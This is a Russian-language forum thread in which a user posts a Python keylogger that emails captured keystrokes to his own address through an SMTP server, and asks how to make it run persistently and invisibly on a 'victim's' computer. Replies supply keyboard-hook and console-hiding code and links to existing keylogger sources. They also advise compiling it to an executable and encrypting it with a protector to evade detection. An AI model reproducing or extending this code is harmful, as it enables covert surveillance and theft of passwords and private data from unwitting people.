Написал какашку на питоне помогите

Написал какашку на питоне помогите  

  By: SAW_HER on 2019-10-30 20 ч.

Написал какашку на питоне помогите

Моя какашка призвана записывать все нажатые клавиши и отправлять письмом их на почту, кейлогер короче, так вооот запускается он в консоли и читает лишь пока окно активно, следовательно внимание вопрос: коим хуем сделать так чтобы оно работало всегда и желательно чтобы без консольного окна.
Скидывать код не буду ну ладно буду:

import msvcrt
import smtplib

smptObj = smtplib.SMTP('smtp.mail.ru',587)
smptObj.starttls()
smptObj.login('тут почта','тут пароль')

wrte = ''

while 1:
    key = msvcrt.getch()
    if key != b'\xff':
        wrte = wrte + key.decode('utf-8')
        print(key)
        if len(wrte) >= 128:
            smptObj.sendmail('тут тоже почта','тут тоже почта но другая',wrte)
            wrte = ''

Так же приветствуются способы скрыть всякие процессы и все прочее.
Призываю делится мудростью

Написал какашку на питоне помогите  

  By: Kosmosvin on 2019-10-30 21 ч.

Re: Написал какашку на питоне помогите

мде, можешь почитать про process/dll injection https://en.wikipedia.org/wiki/DLL_injection но я сомневаюсь что это тебе поможет

Написал какашку на питоне помогите  

  By: KapJprDb on 2019-10-31 07 ч.

Re: Написал какашку на питоне помогите

SAW_HER пишет:

пока окно активно

Друг, тебе учиться надо. Твоя ошибка системная - в ДНК ты не подумал что и зачем ты делаешь, а сразу начал писать.


[email protected] | [email protected] | 6bb0f886ef58 |

Если у тебя получилось обмануть человека, это не значит, что он дурак, — это значит, что тебе доверяли больше, чем ты этого заслуживаешь (Чарльз Буковски)

Написал какашку на питоне помогите  

  By: Lamarr on 2019-10-31 07 ч.

Re: Написал какашку на питоне помогите

SAW_HER, писать кейлоггер на питоне - идея изначально гиблая, если не комилировать в exe-шник. Питон интерпретируемый язык, для выполнения в системе должен быть установлен питон.
Если хочешь использовать кейлоггер на компе, куда у тебя есть доступ - переименуй расширение скрипта в .pyw, тогда консоли не будет.

Редактировался Lamarr (2019-10-31 07 ч.)

Написал какашку на питоне помогите  

  By: Rogalik on 2019-10-31 08 ч.

Re: Написал какашку на питоне помогите

Lamarr, а если консоли не будет - куда он будет

print(key)

делать? :D
SAW_HER, а в готовые проекты подсмотреть? Вс написано до нас  :)  Radium Keylogger например, его тут обсуждали уже.


[email protected]
pgp.mit.eduPGP
Не стреляйте в пианиста! Он играет, как умеет.

Написал какашку на питоне помогите  

  By: Lamarr on 2019-10-31 09 ч.

Re: Написал какашку на питоне помогите

Rogalik пишет:

Lamarr, а если консоли не будет - куда он будет

print(key)

делать?

Переопределит stdout и хоть по FTP будет отправлять :)

Написал какашку на питоне помогите  

  By: SAW_HER on 2019-11-01 00 ч.

Re: Написал какашку на питоне помогите

Lamarr пишет:

SAW_HER, писать кейлоггер на питоне - идея изначально гиблая, если не комилировать в exe-шник. Питон интерпретируемый язык, для выполнения в системе должен быть установлен питон.
Если хочешь использовать кейлоггер на компе, куда у тебя есть доступ - переименуй расширение скрипта в .pyw, тогда консоли не будет.

Знаю я что глупо писать на питоне, но это не важно, все таки я не в злобных кулхацкерских целях это делаю, а просто в целях интереса, конечно весело будет если оно бует работать где - то на стороне, но я не планировал пока. А компилировать я и так хотел, я ещё не полный дебил оставлять открытый код на компьютере жертвы, там ведь почта с паролем, конечно не моя, но посылает письма она на мою.

Кстати запустил свою пого4ку с .pyw и она просто перестала читать кнопочки  :up:  :up:  :up:

Написал какашку на питоне помогите  

  By: Nyash_Kun on 2019-11-01 09 ч.

Re: Написал какашку на питоне помогите

SAW_HER пишет:

А компилировать я и так хотел, я ещё не полный дебил оставлять открытый код на компьютере жертвы, там ведь почта с паролем, конечно не моя, но посылает письма она на мою.

Я бы не был так уверен. Дело в том что даже если ты скомпилируешь код почта в нём всё ещё останется, я даже больше скажу, даже если ты его обфусифицируешь она там будет, и первый же перехват пакета будет равен деанону


Какой-то школьник, который попытается помочь вам в рамках своей компетенции. Увлекаюсь программированием и юриспруденцией

[email protected]                                                                                                                                                     PGP

Написал какашку на питоне помогите  

  By: spurdo on 2019-11-01 10 ч.

Re: Написал какашку на питоне помогите

SAW_HER пишет:

так вооот запускается он в консоли и читает лишь пока окно активно

msvcrt.getch() так и работает

SAW_HER пишет:

коим хуем сделать так чтобы оно работало всегда

Использовать хуки.

SAW_HER пишет:

и желательно чтобы без консольного окна.

Прятать консольное окно.


Конкретную реализацию можно посмотреть, например, здесь (clearnet!):

https://www.geeksforgeeks.org/design-a-keylogger-in-python/

Так прячется окно консоли:

win = win32console.GetConsoleWindow() 
win32gui.ShowWindow(win, 0) 

Так устанавливается хук:

# create a hook manager object 
hm = pyHook.HookManager() 
hm.KeyDown = OnKeyboardEvent 
# set the hook 
hm.HookKeyboard() 
# wait forever 
pythoncom.PumpMessages() 

Работоспособность кода я, конечно же, не проверял.


TL;DR: почитайте исходники существующих кейлоггеров.

clearnet!

https://github.com/ajinabraham/Xenotix- … _logger.py
https://github.com/mehulj94/Radium/blob/master/Radiumkeylogger.py
https://github.com/D4Vinci/PyLoggy/blob/master/PyLoggy.py


special-purpose undeground research and development organization
Зарегистрирован только на Рунионе. Связь только через ЛС форума.

Написал какашку на питоне помогите  

  By: BlokkEntweiher on 2019-11-01 11 ч.

Re: Написал какашку на питоне помогите

SAW_HER пишет:

Моя какашка призвана записывать все нажатые клавиши и отправлять письмом их на почту, кейлогер короче, так вооот запускается он в консоли и читает лишь пока окно активно, следовательно внимание вопрос: коим хуем сделать так чтобы оно работало всегда и желательно чтобы без консольного окна.
Скидывать код не буду ну ладно буду:

import msvcrt
import smtplib

smptObj = smtplib.SMTP('smtp.mail.ru',587)
smptObj.starttls()
smptObj.login('тут почта','тут пароль')

wrte = ''

while 1:
    key = msvcrt.getch()
    if key != b'\xff':
        wrte = wrte + key.decode('utf-8')
        print(key)
        if len(wrte) >= 128:
            smptObj.sendmail('тут тоже почта','тут тоже почта но другая',wrte)
            wrte = ''

Так же приветствуются способы скрыть всякие процессы и все прочее.
Призываю делится мудростью

Попробуй с помощью pyinstaller'а с аргументом скрытия консоли перевести .py в .exe. Ну а потом через протектор зашифруй код, если боишься, что его узнают.